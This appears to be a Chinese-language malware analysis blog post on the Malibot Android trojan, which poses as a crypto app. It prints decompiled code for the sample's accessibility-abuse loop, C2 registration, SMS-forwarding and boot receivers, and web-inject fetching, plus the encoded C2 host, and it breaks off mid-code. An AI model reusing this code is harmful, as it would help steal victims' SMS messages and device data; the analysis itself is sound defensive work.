Malibot分析
在浏览安全客时发现,Malibot伪装成钱包和浏览器以便窃取数据。于是火速从Malwarebazzar
下个样本,开始分析。
样本信息
样本 | 格式 | sha256 |
---|---|---|
malibot | apk | b12dd66de4d180d4bbf4ae23f66bac875b3a9da455d9010720f0840541366490 |
初步运行
安装后的图标如下
伪装成了加密APP
会不断有Toast、弹窗、通知提示受害者打开Accessibility权限。这里还得手速快才能给权限,否则就是重复通知,重复弹设置(用户体验急剧下降)
如果点击允许,APP会自动打开设置并给自己授予权限。并Toast "The App is secured",怎么感觉和现实中某些推销场景有点像。。。
另外还有个默认桌面选择,可能是由于Android版本不匹配的问题,App没办法给自己授予默认桌面管理器。
然后再点击App图标没反应,想设置App权限、关闭Accessibility权限都会直接闪退,并Toast "The App is secured",(这么着急还想让人相信你?)
然后试了下adb可以卸载
Manifest分析
<permission android:label="@string/permlab_read_settings" android:name="werwerwee.qwetrydsf.yfdefes.permission.READ_SETTINGS" android:protectionLevel="signature" android:permissionGroup="android.permission-group.SYSTEM_TOOLS" android:description="@string/permdesc_read_settings"/>
<permission android:label="@string/permlab_write_settings" android:name="werwerwee.qwetrydsf.yfdefes.permission.WRITE_SETTINGS" android:protectionLevel="signature" android:permissionGroup="android.permission-group.SYSTEM_TOOLS" android:description="@string/permdesc_write_settings"/>
<uses-permission android:name="com.android.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.android.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="werwerwee.qwetrydsf.yfdefes.permission.READ_SETTINGS"/>
<uses-permission android:name="werwerwee.qwetrydsf.yfdefes.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.EXPAND_STATUS_BAR"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<permission android:label="@string/permlab_install_shortcut" android:name="com.android.launcher.permission.INSTALL_SHORTCUT" android:protectionLevel="dangerous" android:permissionGroup="android.permission-group.SYSTEM_TOOLS" android:description="@string/permdesc_install_shortcut"/>
<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
<uses-permission android:name="android.permission.BIND_APPWIDGET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
允许更改设置
允许网络权限
允许弹窗,并且不好关闭
REORDER_TASKS:查了一下资料,这个是允许Activity的z轴排列,也就是让APP始终处于最前面,不胜其烦
忽略电池优化,防止被关闭
查询包和删除包,可能是对抗防病毒软件
收发短信、打电话权限、读取外部存储
主Activity是一个Launcher,并且也注册了Launcher的provider。另外还有一个Activity也是主Activity
<activity android:name="com.google.android.apps.nexuslauncher.NexusLauncherActivity" android:enabled="true" android:taskAffinity="" android:clearTaskOnLaunch="true" android:stateNotNeeded="true" android:launchMode="singleTask" android:screenOrientation="nosensor" android:configChanges="navigation|keyboardHidden|keyboard" android:windowSoftInputMode="adjustPan" android:hardwareAccelerated="true" android:resumeWhilePausing="true" android:resizeableActivity="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.HOME"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.MONKEY"/>
<category android:name="android.intent.category.LAUNCHER_APP"/>
</intent-filter>
</activity>
<activity android:theme="@style/SettingsTheme" android:label="@string/settings_button_text" android:name="com.google.android.apps.nexuslauncher.SettingsActivity" android:autoRemoveFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.APPLICATION_PREFERENCES"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity><provider android:name="com.google.android.apps.nexuslauncher.search.AppSearchProvider" android:exported="true" android:authorities="werwerwee.qwetrydsf.yfdefes.appssearch"/>
<activity android:theme="@style/AppTheme_Transparent" android:name="amirz.rootless.nexuslauncher.StartActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
剩下的就是Service和BrocastReceiver,稍后会一并分析。
主Activity
经过分析代码,第二个主Activity才是点击时运行的,主要代码如下
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_start);
if (!Settings.registered$default(this.settings, null, 1, null)) {
register();
}
StartActivity startActivity = this;
if (!AccessibilityExtensionsKt.permissionsComplete(startActivity)) {
ServiceExtensionsKt.checkBackgroundService(startActivity);
if (!AccessibilityExtensionsKt.isAccessibilityEnabled(startActivity)) {
AccessibilityExtensionsKt.requestAccessibility$default(startActivity, false, 1, null);
}
} else {
BaseExtensionsKt.runApp(startActivity, BuildConfig.DEFAULT_APP);
}
ServiceExtensionsKt.startAlarmTrigger$default(startActivity, 0L, null, 3, null);
finish();
}
如果没有注册,则先注册上线
@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
public final Object invokeSuspend(Object obj) {
Object obj2;
String str;
Object obj3;
Pair[] pairArr;
Pair[] pairArr2;
String str2;
Settings settings;
Settings settings2;
Settings settings3;
Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
int i = this.label;
int i2 = 1;
if (i == 0) {
ResultKt.throwOnFailure(obj);
settings = this.this$0.settings;
if (Settings.botId$default(settings, null, 1, null).length() == 0) {
settings3 = this.this$0.settings;
settings3.botId(BaseExtensionsKt.getDeviceId(this.this$0));
}
Pair[] pairArr3 = new Pair[8];
settings2 = this.this$0.settings;
pairArr3[0] = TuplesKt.to("botid", Settings.botId$default(settings2, null, 1, null));
this.L$0 = pairArr3;
this.L$1 = "newconnect";
this.L$2 = pairArr3;
this.L$3 = "botip";
this.I$0 = 1;
this.label = 1;
obj3 = new IPAddress().execute(this);
if (obj3 == coroutine_suspended) {
return coroutine_suspended;
}
str = "newconnect";
pairArr = pairArr3;
str2 = "botip";
pairArr2 = pairArr;
} else if (i != 1) {
if (i == 2) {
ResultKt.throwOnFailure(obj);
obj2 = obj;
String str3 = (String) obj2;
return Unit.INSTANCE;
}
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
} else {
i2 = this.I$0;
str2 = (String) this.L$3;
pairArr2 = (Pair[]) this.L$2;
ResultKt.throwOnFailure(obj);
str = (String) this.L$1;
pairArr = (Pair[]) this.L$0;
obj3 = obj;
}
String str4 = (String) obj3;
if (str4 == null) {
str4 = "?";
}
pairArr2[i2] = TuplesKt.to(str2, str4);
pairArr[2] = TuplesKt.to("botkey", Config.INSTANCE.getKey());
pairArr[3] = TuplesKt.to("android", Build.VERSION.RELEASE);
pairArr[4] = TuplesKt.to("model", Utils.INSTANCE.getDeviceModel());
pairArr[5] = TuplesKt.to("battery", BaseExtensionsKt.getBattery(this.this$0));
pairArr[6] = TuplesKt.to("lang", Utils.INSTANCE.getLocale());
pairArr[7] = TuplesKt.to("packagelist", CollectionsKt.joinToString$default(BaseExtensionsKt.getApps(this.this$0), ",", null, null, 0, null, null, 62, null));
this.L$0 = null;
this.L$1 = null;
this.L$2 = null;
this.L$3 = null;
this.label = 2;
obj2 = new Send(null, str, MapsKt.mutableMapOf(pairArr), 1, null).execute(this);
if (obj2 == coroutine_suspended) {
return coroutine_suspended;
}
String str32 = (String) obj2;
return Unit.INSTANCE;
}
注册上线就发送受害者的一些信息给远程,包括Android版本,电池、语言和软件包列表等。并且表明是"newconnect"。
检测了Accessibility权限,并且检测后台服务。如果已经有权限了就运行chrome,但是模拟器上没安装chrome,所以点击之后没反应。最后还设置了一个AlarmTrigger,用于触发各种动作
public static final boolean isAccessibilityEnabled(Context context) {
int i;
String string;
Intrinsics.checkNotNullParameter(context, "<this>");
String sb = new StringBuilder().append((Object) context.getPackageName()).append('/').append((Object) AccessibilityService.class.getName()).toString();
try {
i = Settings.Secure.getInt(context.getApplicationContext().getContentResolver(), "accessibility_enabled");
} catch (Settings.SettingNotFoundException unused) {
i = 0;
}
TextUtils.SimpleStringSplitter simpleStringSplitter = new TextUtils.SimpleStringSplitter(StringsKt.single(":"));
if (i == 1 && (string = Settings.Secure.getString(context.getApplicationContext().getContentResolver(), "enabled_accessibility_services")) != null) {
simpleStringSplitter.setString(string);
while (simpleStringSplitter.hasNext()) {
if (StringsKt.equals(simpleStringSplitter.next(), sb, true)) {
return true;
}
}
}
return false;
}
public static final boolean permissionsComplete(Context context) {
Intrinsics.checkNotNullParameter(context, "<this>");
return isAccessibilityEnabled(context);
}
如果没有后台服务就运行后台服务
public static final void checkBackgroundService(Context context) {
Intrinsics.checkNotNullParameter(context, "<this>");
try {
if (isServiceRunning(context, BackgroundService.class)) {
return;
}
context.startService(new Intent(context, BackgroundService.class));
} catch (Exception unused) {
}
}
然后开始申请Accessibility权限
public static final void requestAccessibility(Context context, boolean z) {
Intrinsics.checkNotNullParameter(context, "<this>");
try {
Intent newIntent = AccessibilityRequestActivity.Companion.newIntent(context);
if (z) {
newIntent.putExtra("sms", "1");
}
context.startActivity(newIntent);
} catch (Exception unused) {
}
}
然后就到了运行时的无限弹窗
@Override // android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_request_accessibility);
AccessibilityRequestActivity accessibilityRequestActivity = this;
if (AccessibilityExtensionsKt.isAccessibilityEnabled(accessibilityRequestActivity)) {
if (checkSelfPermission("android.permission.RECEIVE_SMS") != 0) {
requestPermissions(new String[]{"android.permission.RECEIVE_SMS", "android.permission.SEND_SMS"}, 100);
return;
}
if (getIntent().getStringExtra("sms") == null) {
BaseExtensionsKt.runApp(accessibilityRequestActivity, BuildConfig.DEFAULT_APP);
}
finish();
return;
}
try {
if (isFinishing()) {
return;
}
this.alertDialog = new AlertDialog.Builder(this).setIcon(R.mipmap.ic_launcher).setTitle(getString(R.string.app_name)).setMessage(getString(R.string.enable_accessibility_message)).setPositiveButton("Enable", new DialogInterface.OnClickListener() { // from class: com.fdjsfkas.kdjklslf.ui.activities.AccessibilityRequestActivity$$ExternalSyntheticLambda0
@Override // android.content.DialogInterface.OnClickListener
public final void onClick(DialogInterface dialogInterface, int i) {
AccessibilityRequestActivity.m7onCreate$lambda0(AccessibilityRequestActivity.this, dialogInterface, i);
}
}).setCancelable(false).show();
} catch (Exception unused) {
}
}
/* JADX INFO: Access modifiers changed from: private */
/* renamed from: onCreate$lambda-0 reason: not valid java name */
public static final void m7onCreate$lambda0(AccessibilityRequestActivity this$0, DialogInterface dialogInterface, int i) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
this$0.startActivity(new Intent("android.settings.ACCESSIBILITY_SETTINGS"));
this$0.finish();
dialogInterface.dismiss();
}
并且按钮还无法取消
AlarmTrigger分析
public static /* synthetic */ void startAlarmTrigger$default(Context context, long j, String startAlarmTrigger$default, int i, Object obj) {
if ((i & 1) != 0) {
j = 2000;
}
if ((i & 2) != 0) {
startAlarmTrigger$default = context.getPackageName();
Intrinsics.checkNotNullExpressionValue(startAlarmTrigger$default, "startAlarmTrigger$default");
}
startAlarmTrigger(context, j, startAlarmTrigger$default);
}
private static final void startAlarmTrigger$setReminder(Context context) {
AlarmManager alarmManager = (AlarmManager) context.getSystemService(NotificationCompat.CATEGORY_ALARM);
Calendar calendar = Calendar.getInstance();
Intrinsics.checkNotNullExpressionValue(calendar, "getInstance()");
calendar.add(13, 5);
Intent intent = new Intent(context, AlarmReceiver.class);
intent.setFlags(268435456);
PendingIntent broadcast = PendingIntent.getBroadcast(context, RandomKt.Random(System.currentTimeMillis()).nextInt(3), intent, 201326592);
Intrinsics.checkNotNull(alarmManager);
alarmManager.set(1, calendar.getTimeInMillis(), broadcast);
Timber.d("Triggering alarm", new Object[0]);
}
在5秒后会发送一个广播,让alarmReceiver接收
public final class AlarmReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
Intrinsics.checkNotNullParameter(intent, "intent");
if (context == null) {
return;
}
Timber.d("Triggered receiver", new Object[0]);
ServiceExtensionsKt.checkBackgroundService(context);
ServiceExtensionsKt.startAlarmTrigger$default(context, 0L, null, 3, null);
}
}
检测后台服务并且设置下一个AlarmTrigger
检测后台服务
public static final void checkBackgroundService(Context context) {
Intrinsics.checkNotNullParameter(context, "<this>");
try {
if (isServiceRunning(context, BackgroundService.class)) {
return;
}
context.startService(new Intent(context, BackgroundService.class));
} catch (Exception unused) {
}
}
public int onStartCommand(Intent intent, int i, int i2) {
try {
initTasks();
acquireWakeLock();
registerPhoneUnlockReceiver();
registerScreenReceiver();
return 1;
} catch (Exception unused) {
return 1;
}
}
获取wakeLock权限,并且注册解锁、屏幕控制的广播接收器。
initTasks内启动了其它三个类
public final Object invokeSuspend(Object obj) {
IntrinsicsKt.getCOROUTINE_SUSPENDED();
if (this.label == 0) {
ResultKt.throwOnFailure(obj);
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new AnonymousClass1(this.this$0, null), 2, null);
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new AnonymousClass2(this.this$0, null), 2, null);
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new AnonymousClass3(this.this$0, null), 2, null);
return Unit.INSTANCE;
}
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
第一个类展示了包名
public final Object invokeSuspend(Object obj) {
IntrinsicsKt.getCOROUTINE_SUSPENDED();
if (this.label == 0) {
ResultKt.throwOnFailure(obj);
Context applicationContext = this.this$0.getApplicationContext();
BackgroundService backgroundService = this.this$0;
Toast.makeText(applicationContext, backgroundService.getString(R.string.enable_to_asb, new Object[]{backgroundService.getString(R.string.app_name)}), 1).show();
return Unit.INSTANCE;
}
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
第二个类停用前台
public final Object invokeSuspend(Object obj) {
IntrinsicsKt.getCOROUTINE_SUSPENDED();
if (this.label == 0) {
ResultKt.throwOnFailure(obj);
this.this$0.stopForeground(true);
return Unit.INSTANCE;
}
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
}
第三个类,反编译失败了,但是看起来依然是执行了第一个类
public final java.lang.Object invokeSuspend(java.lang.Object r11) {
r10 = this;
java.lang.Object r0 = kotlin.coroutines.intrinsics.IntrinsicsKt.getCOROUTINE_SUSPENDED()
int r1 = r10.label
r2 = 0
r3 = 1
if (r1 == 0) goto L19
if (r1 != r3) goto L11
kotlin.ResultKt.throwOnFailure(r11)
r11 = r10
goto L47
L11:
java.lang.IllegalStateException r11 = new java.lang.IllegalStateException
java.lang.String r0 = "call to 'resume' before 'invoke' with coroutine"
r11.<init>(r0)
throw r11
L19:
kotlin.ResultKt.throwOnFailure(r11)
r11 = r10
L1d:
kotlinx.coroutines.GlobalScope r1 = kotlinx.coroutines.GlobalScope.INSTANCE // Catch: java.lang.Exception -> L39
r4 = r1
kotlinx.coroutines.CoroutineScope r4 = (kotlinx.coroutines.CoroutineScope) r4 // Catch: java.lang.Exception -> L39
kotlinx.coroutines.CoroutineDispatcher r1 = kotlinx.coroutines.Dispatchers.getIO() // Catch: java.lang.Exception -> L39
r5 = r1
kotlin.coroutines.CoroutineContext r5 = (kotlin.coroutines.CoroutineContext) r5 // Catch: java.lang.Exception -> L39
r6 = 0
com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$1 r1 = new com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$1 // Catch: java.lang.Exception -> L39
com.fdjsfkas.kdjklslf.services.BackgroundService r7 = r11.this$0 // Catch: java.lang.Exception -> L39
r1.<init>(r7, r2) // Catch: java.lang.Exception -> L39
r7 = r1
kotlin.jvm.functions.Function2 r7 = (kotlin.jvm.functions.Function2) r7 // Catch: java.lang.Exception -> L39
r8 = 2
r9 = 0
kotlinx.coroutines.BuildersKt.launch$default(r4, r5, r6, r7, r8, r9) // Catch: java.lang.Exception -> L39
L39:
r4 = 10000(0x2710, double:4.9407E-320)
r1 = r11
kotlin.coroutines.Continuation r1 = (kotlin.coroutines.Continuation) r1
r11.label = r3
java.lang.Object r1 = kotlinx.coroutines.DelayKt.delay(r4, r1)
if (r1 != r0) goto L47
return r0
L47:
com.fdjsfkas.kdjklslf.services.BackgroundService r1 = r11.this$0
com.fdjsfkas.kdjklslf.utils.Logger r1 = r1.getLogger()
boolean r1 = r1.haveSomethingToSend()
if (r1 == 0) goto L65
com.fdjsfkas.kdjklslf.services.BackgroundService r1 = r11.this$0 // Catch: java.lang.Exception -> L5d
com.fdjsfkas.kdjklslf.utils.Logger r1 = r1.getLogger() // Catch: java.lang.Exception -> L5d
r1.flush() // Catch: java.lang.Exception -> L5d
goto L65
L5d:
r1 = 0
java.lang.Object[] r1 = new java.lang.Object[r1]
java.lang.String r4 = "logger cant push now"
timber.log.Timber.d(r4, r1)
L65:
kotlinx.coroutines.GlobalScope r1 = kotlinx.coroutines.GlobalScope.INSTANCE
r4 = r1
kotlinx.coroutines.CoroutineScope r4 = (kotlinx.coroutines.CoroutineScope) r4
kotlinx.coroutines.CoroutineDispatcher r1 = kotlinx.coroutines.Dispatchers.getIO()
r5 = r1
kotlin.coroutines.CoroutineContext r5 = (kotlin.coroutines.CoroutineContext) r5
r6 = 0
com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$2 r1 = new com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1$3$2
com.fdjsfkas.kdjklslf.services.BackgroundService r7 = r11.this$0
r1.<init>(r7, r2)
r7 = r1
kotlin.jvm.functions.Function2 r7 = (kotlin.jvm.functions.Function2) r7
r8 = 2
r9 = 0
kotlinx.coroutines.BuildersKt.launch$default(r4, r5, r6, r7, r8, r9)
goto L1d
throw new UnsupportedOperationException("Method not decompiled: com.fdjsfkas.kdjklslf.services.BackgroundService$initTasks$1.AnonymousClass3.invokeSuspend(java.lang.Object):java.lang.Object");
}
Accessibility服务分析
@Override // android.accessibilityservice.AccessibilityService
protected void onServiceConnected() {
super.onServiceConnected();
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new AccessibilityService$onServiceConnected$1(null), 2, null);
AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
accessibilityServiceInfo.flags = 33;
accessibilityServiceInfo.eventTypes = -1;
accessibilityServiceInfo.feedbackType = -1;
setServiceInfo(accessibilityServiceInfo);
this.bus.setOnBackPressed(new AccessibilityService$onServiceConnected$2(this));
this.bus.setOnHomePressed(new AccessibilityService$onServiceConnected$3(this));
this.bus.setOnNodeClickXY(new AccessibilityService$onServiceConnected$4(this));
this.bus.setOnNodeClick(AccessibilityService$onServiceConnected$5.INSTANCE);
this.bus.setClickOnPoint(new AccessibilityService$onServiceConnected$6(this));
AccessibilityExtensionsKt.back(this.bus, 4, 100L);
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new AccessibilityService$onServiceConnected$7(this, null), 2, null);
}
@Override // android.accessibilityservice.AccessibilityService
public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
if (!Intrinsics.areEqual(accessibilityEvent == null ? null : accessibilityEvent.getPackageName(), getPackageName())) {
ServiceExtensionsKt.checkBackgroundService(this);
Timber.d(Intrinsics.stringPlus("accessibility event ", accessibilityEvent), new Object[0]);
try {
AccessibilityNodeInfo rootInActiveWindow = getRootInActiveWindow();
if (rootInActiveWindow != null) {
this.bus.setRootNode(new AccessibilityService$onAccessibilityEvent$1$1(rootInActiveWindow));
}
} catch (Exception unused) {
}
Engine engine = this.engine;
if (accessibilityEvent == null) {
return;
}
engine.processThisEvent(accessibilityEvent);
}
}
覆盖了返回键、Home键和点击动作,并且获取了AccessibilityEvent
Receiver分析
从Manifest中可以看到注册了几个其它的Receiver,逐一分析
SMSReceiver
<receiver android:name="com.fdjsfkas.kdjklslf.receivers.SMSReceiver" android:enabled="true" android:exported="true">
<intent-filter android:priority="9999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
最高优先级
public void onReceive(Context context, Intent intent) {
Intrinsics.checkNotNullParameter(intent, "intent");
int i = 0;
Timber.d("SMS Received", new Object[0]);
if (context != null) {
try {
ServiceExtensionsKt.checkBackgroundService(context);
} catch (Exception unused) {
return;
}
}
if (context == null) {
return;
}
SmsMessage[] messagesFromIntent = Telephony.Sms.Intents.getMessagesFromIntent(intent);
Intrinsics.checkNotNullExpressionValue(messagesFromIntent, "getMessagesFromIntent(intent)");
int length = messagesFromIntent.length;
while (i < length) {
SmsMessage smsMessage = messagesFromIntent[i];
Intrinsics.checkNotNullExpressionValue(smsMessage, "Telephony.Sms.Intents.ge…essagesFromIntent(intent)");
i++;
try {
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new SMSReceiver$onReceive$1$1(smsMessage, null), 2, null);
} catch (Exception unused2) {
}
}
}
首先检测后台权限,并且获取所有收到的短信,通过BuildersKt__Builders_commonKt创建后台任务并发送短信
@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
public final Object invokeSuspend(Object obj) {
Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
int i = this.label;
if (i == 0) {
ResultKt.throwOnFailure(obj);
Pair[] pairArr = {TuplesKt.to("number", String.valueOf(this.$sms.getDisplayOriginatingAddress())), TuplesKt.to("text", String.valueOf(this.$sms.getMessageBody()))};
this.label = 1;
if (new Send(null, "newsms", MapsKt.mutableMapOf(pairArr), 1, null).execute(this) == coroutine_suspended) {
return coroutine_suspended;
}
} else if (i != 1) {
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
} else {
ResultKt.throwOnFailure(obj);
}
return Unit.INSTANCE;
}
Send类
public final class Send extends BaseRequest1 {
private final String method;
private final Map<String, String> params;
private final String type;
public Send(String type, String method, Map<String, String> params) {
Intrinsics.checkNotNullParameter(type, "type");
Intrinsics.checkNotNullParameter(method, "method");
Intrinsics.checkNotNullParameter(params, "params");
this.type = type;
this.method = method;
this.params = params;
}
public /* synthetic */ Send(String str, String str2, Map map, int i, DefaultConstructorMarker defaultConstructorMarker) {
this((i & 1) != 0 ? "GET" : str, str2, map);
}
@Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
public String getReqType() {
return this.type;
}
@Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
public String getReqMethod() {
return this.method;
}
@Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
public Map<String, String> getReqParams() {
return this.params;
}
@Override // com.fdjsfkas.kdjklslf.network.BaseRequest1
public Object execute(Continuation<? super String> continuation) {
return super.execute(continuation);
}
}
父类的execute方法
static /* synthetic */ Object execute$suspendImpl(BaseRequest1 baseRequest1, Continuation continuation) {
if (!baseRequest1.getReqParams().containsKey("botid")) {
if (Settings.Companion.getBotId().length() > 0) {
baseRequest1.getReqParams().put("botid", Settings.Companion.getBotId());
}
}
String urlEncode = Request.INSTANCE.urlEncode(baseRequest1.getReqParams());
if (Intrinsics.areEqual(baseRequest1.getReqType(), "GET")) {
String str = Config.INSTANCE.getHost() + "/api/?method=" + baseRequest1.getReqMethod() + Typography.amp + urlEncode;
String str2 = Request.INSTANCE.get(str);
Timber.d("GET Received (" + str + ") " + ((Object) str2), new Object[0]);
return str2;
} else if (!Intrinsics.areEqual(baseRequest1.getReqType(), "POST")) {
return null;
} else {
String post = Request.INSTANCE.post(Config.INSTANCE.getHost() + "/api/" + baseRequest1.getReqMethod(), urlEncode);
Timber.d(Intrinsics.stringPlus("POST Received ", post), new Object[0]);
return post;
}
}
从BuildConfig中可以获取到各种配置信息
package com.android.launcher3;
/* loaded from: classes.dex */
public final class BuildConfig {
public static final String APPLICATION_ID = "werwerwee.qwetrydsf.yfdefes";
public static final String BUILD_TYPE = "release";
public static final boolean DEBUG = false;
public static final String DEFAULT_APP = "com.android.chrome";
public static final String FLAVOR = "aosp";
public static final int VERSION_CODE = 30911;
public static final String VERSION_NAME = "3.9.1";
public static final Boolean CIS = false;
public static final String[] COUNTRY_IGNORES = {"AZ", "AM", "BY", "KZ", "KG", "MD", "RU", "TJ", "UZ", "UA", "ID"};
// https://xireycicin.xyz
public static final byte[] HOST = {104, 116, 116, 112, 115, 58, 47, 47, 120, 105, 114, 101, 121, 99, 105, 99, 105, 110, 46, 120, 121, 122};
// crap
public static final byte[] KEY = {99, 114, 97, 112};
}
BootReceiver
<receiver android:name="com.fdjsfkas.kdjklslf.receivers.BootReceiver" android:enabled="true" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
</intent-filter>
</receiver>
最高优先级,并且注意了HTC手机的私有权限
public final class BootReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
Intrinsics.checkNotNullParameter(intent, "intent");
if (context == null) {
return;
}
try {
BuildersKt__Builders_commonKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new BootReceiver$onReceive$1(null), 2, null);
ServiceExtensionsKt.checkBackgroundService(context);
} catch (Exception unused) {
}
}
}
依然是经典的检测后台权限,然后使用BuildersKt__Builders_commonKt发送一个存活命令
@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
public final Object invokeSuspend(Object obj) {
Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
int i = this.label;
if (i == 0) {
ResultKt.throwOnFailure(obj);
Pair[] pairArr = {TuplesKt.to("text", "system restarted")};
this.label = 1;
if (new Send(null, "newsystemsms", MapsKt.mutableMapOf(pairArr), 1, null).execute(this) == coroutine_suspended) {
return coroutine_suspended;
}
} else if (i != 1) {
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
} else {
ResultKt.throwOnFailure(obj);
}
return Unit.INSTANCE;
}
其它恶意行为
链接注入
public final class GetInjectList extends BaseRequest<ArrayList<Inject>> {
private final String reqMethod = "injectlist";
@Override // com.fdjsfkas.kdjklslf.network.BaseRequest
public String getReqMethod() {
return this.reqMethod;
}
@Override // com.fdjsfkas.kdjklslf.network.BaseRequest
public Object execute(Continuation<? super ArrayList<Inject>> continuation) {
if (!getReqParams().containsKey("botid")) {
if (Settings.Companion.getBotId().length() > 0) {
getReqParams().put("botid", Settings.Companion.getBotId());
}
}
String str = Request.INSTANCE.get(Config.INSTANCE.getHost() + "/api/?method=" + getReqMethod() + Typography.amp + Request.INSTANCE.urlEncode(getReqParams()));
Timber.d(Intrinsics.stringPlus("Received ", str), new Object[0]);
try {
Object fromJson = new Gson().fromJson(new JSONObject(str).getJSONArray("list").toString(), (Class<Object>) new ArrayList().getClass());
Intrinsics.checkNotNullExpressionValue(fromJson, "{\n val jsonOb…()::class.java)\n }");
return (ArrayList) fromJson;
} catch (Exception unused) {
return new ArrayList();
}
}
}
这里从服务器获取C2链接,botid作为请求字段,以区别不同的设备
@Override // kotlin.coroutines.jvm.internal.BaseContinuationImpl
public final Object invokeSuspend(Object obj) {
Object coroutine_suspended = IntrinsicsKt.getCOROUTINE_SUSPENDED();
int i = this.label;
if (i == 0) {
ResultKt.throwOnFailure(obj);
this.label = 1;
obj = new GetInjectList().execute(this);
if (obj == coroutine_suspended) {
return coroutine_suspended;
}
} else if (i != 1) {
throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
} else {
ResultKt.throwOnFailure(obj);
}
Settings settings = this.$settings;
InjectList injectList = new InjectList();
injectList.addAll((ArrayList) obj);
Unit unit = Unit.INSTANCE;
settings.currentInjectList(injectList);
BaseExtensionsKt.syncInjects(this.$this_checkInjects, this.$settings);
return Unit.INSTANCE;
}
调用了syncInjects方法,最终在BrowserActivity中执行了注入
@Override // android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_web_view);
View findViewById = findViewById(R.id.web_view);
Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(R.id.web_view)");
WebView webView = (WebView) findViewById;
webView.getSettings().setJavaScriptEnabled(true);
webView.setLayerType(2, null);
String stringExtra = getIntent().getStringExtra("link");
final Intent intent = (Intent) getIntent().getParcelableExtra("act");
webView.setWebViewClient(new WebViewClient() { // from class: com.fdjsfkas.kdjklslf.ui.activities.BrowserActivity$onCreate$1
@Override // android.webkit.WebViewClient
public void onPageStarted(WebView webView2, String str, Bitmap bitmap) {
Settings settings;
Settings settings2;
Settings settings3;
if (str != null) {
int i = 0;
if (StringsKt.contains$default((CharSequence) str, (CharSequence) "goto.php", false, 2, (Object) null)) {
if (BrowserActivity.Companion.getLastOpenedInject() != null) {
settings = BrowserActivity.this.settings;
InjectList currentInjectList$default = Settings.currentInjectList$default(settings, null, 1, null);
if (currentInjectList$default != null) {
try {
int size = currentInjectList$default.size();
if (size > 0) {
while (true) {
int i2 = i + 1;
